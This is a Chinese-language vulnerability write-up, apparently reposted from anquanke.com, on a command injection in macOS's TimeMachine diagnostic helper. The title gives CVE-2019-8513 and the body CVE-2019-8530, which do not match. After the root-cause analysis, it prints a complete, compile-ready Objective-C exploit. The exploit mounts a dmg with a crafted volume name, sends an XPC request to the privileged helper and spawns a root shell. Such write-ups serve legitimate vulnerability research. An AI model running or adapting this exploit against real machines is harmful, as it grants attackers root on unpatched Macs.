CVE-2019-8513:由TimeMachine命令注入引发的“血案”

552 阅读3分钟
原文链接: www.anquanke.com

 

0x001 前言

CVE-2019-8530是用户态上的一个XPC逻辑漏洞,在macOS 10.14.3及以下版本存在。该漏洞存在于TimeMachinediagnosticextensions扩展模块之中,通过构造恶意img文件,能够以root权限运行任意shell命令。

 

0x002 调试环境

主机: macOS Mojave 10.14.2 18C54

 

0x003 漏洞成因分析

XPC与进程间通信?

XPC是OS X下的一种IPC(进程间通信)技术,它实现了权限隔离,使得App Sandbox更加完备。OSX10.7以后,Cocoa增加了一种新的技术,就是XPC,它的实现不再通过对象间的直接连接,而是通过block实现一种服务端对客户端的connection,这两者之间的通信都是通过使用xpc_connection发送消息实现。XPC的出现是为了将程序分成不同的几个子程序,从而实现权限分隔,让你的程序更加安全。

XPC在10.8以后,直接在Foundation.framework中添加了NSXPCConnection相关的类,使用更为方便,但在10.7的系统上面,我们就只能使用C的接口来实现(引入头<xpc/xpc.h>)

关于XPC Service的更多内容参考该链接:XPC

TimeMachine diagnosticextensions

查看本机上的diagnostic services,图中标记出来的便是TimeMachine的诊断服务

r2简单看看timemachinehelper这个程序的类以及方法。

这里简单说下r2的用法:

  • aaa分析整个二进制程序
  • icc查看类以及调用的方法
  • 任意命令加上一个?号便会打印出该命令的详细使用说明,例如i?

IDA分析timemachinehelper这个程序,实则以root权限运行/usr/bin/tmdiagnose -r -w -f

随便拿一个程序来跑,发现这样一句

IDA继续分析tmdiagnose,在方法-[TMDiagnostic _harvestInfoForDisksAndMounts]找到这里,system("/usr/sbin/diskutil info "$NF),该处便是我们的命令注入点

/usr/sbin/diskutil list命令列举磁盘状态,system("/usr/sbin/diskutil info "$NF)中的$NF对应图中IDENTIFIER一栏。然而,我们通过创建disk的dmg镜像仅仅能控制NAME栏(通过hdiutil命令的-volname参数进行设置),也即无法控制$NF注入命令。这里,我们可以利用一个换行符n来截断,现在注入命令便对应到IDENTIFIER栏,t*/1实则是tmp/1的匹配式。

总的来说,利用-volname参数设置NAME栏时要满足这几个要求:

  • 含有关键字disk
  • 含有换行符n
  • 使用`或者$()来注入命令
  • 不要有空格
  • 长度小于23个字符(理由如下图)

最终注入的命令以及整个调用过程如图:

 

0x004 Exploit

整个利用过程:

  • 复制目标程序或者创建目标程序的链接方式到tmp目录
  • 挂载包含了shell命令的恶意dmg文件
  • 发送XPC请求到timemachinehelper并且等待

最后拿到一个root shell,即从用户态出发将权限提高到root

完整的利用代码

/*
  clang -framework Foundation exp.m -o exp && ./exp
*/

#import <Foundation/Foundation.h>
#import <xpc/xpc.h>

#include <glob.h>
#include <semaphore.h>

#define TARGET "/tmp/1"
#define CMD "t*/1"
#define VOLUME "disk`" CMD "`nA"

@protocol DETimeMachineHelperProtocol
- (void)runDiagnosticWithDestinationDir:(NSURL *)arg1 replyURL:(void (^)(NSURL *))arg2;
@end

NSPipe *hdiutil(NSArray *args) {
  NSPipe *pipe = [NSPipe pipe];
  NSTask *task = [[NSTask alloc] init];
  [task setStandardOutput:pipe];
  [task setLaunchPath:@"/usr/bin/hdiutil"];
  [task setArguments:args];
  [task launch];
  [task waitUntilExit];
  return pipe;
}

void exploit() {
  NSString *dir =
      [NSTemporaryDirectory() stringByAppendingPathComponent:[[NSProcessInfo processInfo] globallyUniqueString]];
  NSString *dmg = [dir stringByAppendingString:@".dmg"];
  NSFileManager *fileMgr = [NSFileManager defaultManager];
  NSError *err = NULL;
  NSString *src = [[NSBundle mainBundle] executablePath];
  [fileMgr removeItemAtPath:@TARGET error:nil];
  [fileMgr copyItemAtPath:src toPath:@TARGET error:&err];   // 将此二进制程序拷贝一份到/tmp/1
  if (err)
    NSLog(@"warning, failed to copy: %@", err);

  [fileMgr createDirectoryAtPath:dir withIntermediateDirectories:YES attributes:nil error:&err];

  NSLog(@"creating dmg image");
  hdiutil(@[
    @"create", @"-fs", @"HFS+", @"-volname", @VOLUME, @"-srcfolder", dir, @"-size", @"840k", @"-format", @"UDRW", dmg
  ]);     // 创建恶意dmg

  NSLog(@"mounting malformed disk");
  NSPipe *pipe = hdiutil(@[ @"attach", dmg ]);    // 挂载恶意dmg
  NSString *mounted =
      [[NSString alloc] initWithData:[[pipe fileHandleForReading] readDataToEndOfFile] encoding:NSUTF8StringEncoding];

  NSLog(@"sending XPC msg");
  NSXPCConnection *connection =
      [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.diagnosticextensions.osx.timemachine.helper"
                                               options:NSXPCConnectionPrivileged];    // 发送XPC消息
  connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(DETimeMachineHelperProtocol)];
  [connection resume];
  dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);

  NSURL *randomURL = [[NSURL alloc] initFileURLWithPath:dir];
  [connection.remoteObjectProxy runDiagnosticWithDestinationDir:randomURL
                                                       replyURL:^(NSURL *url) {
                                                         NSLog(@"done");
                                                         dispatch_semaphore_signal(semaphore);
                                                       }];
  NSLog(@"now wait some minute for the root shell");
  dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);

}

void root() {
  system("killall -9 tmdiagnose");
  NSLog(@"[exploit] now you get a root shell!");
  system("/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal");
  //system("/Applications/iTerm.app/Contents/MacOS/iTerm2");
}

void cleanup() {
  // eject malformed images
  glob_t globlist;
  assert(glob("/dev/disk*", 0, NULL, &globlist) == 0);
  // invoke cli tools or use DiskArbitration api
  for (size_t i = 0; i < globlist.gl_pathc; i++) {
    char *dev = globlist.gl_pathv[i];
    hdiutil(@[ @"eject", [NSString stringWithUTF8String:dev] ]);
  }
}

int main(int argc, const char *argv[]) {
  @autoreleasepool {
    if (geteuid()) {
      exploit();  // 首次运行
    } else {
      cleanup();  // 注入的shell命令会运行此处
      root();
    }
  }
  return 0;
}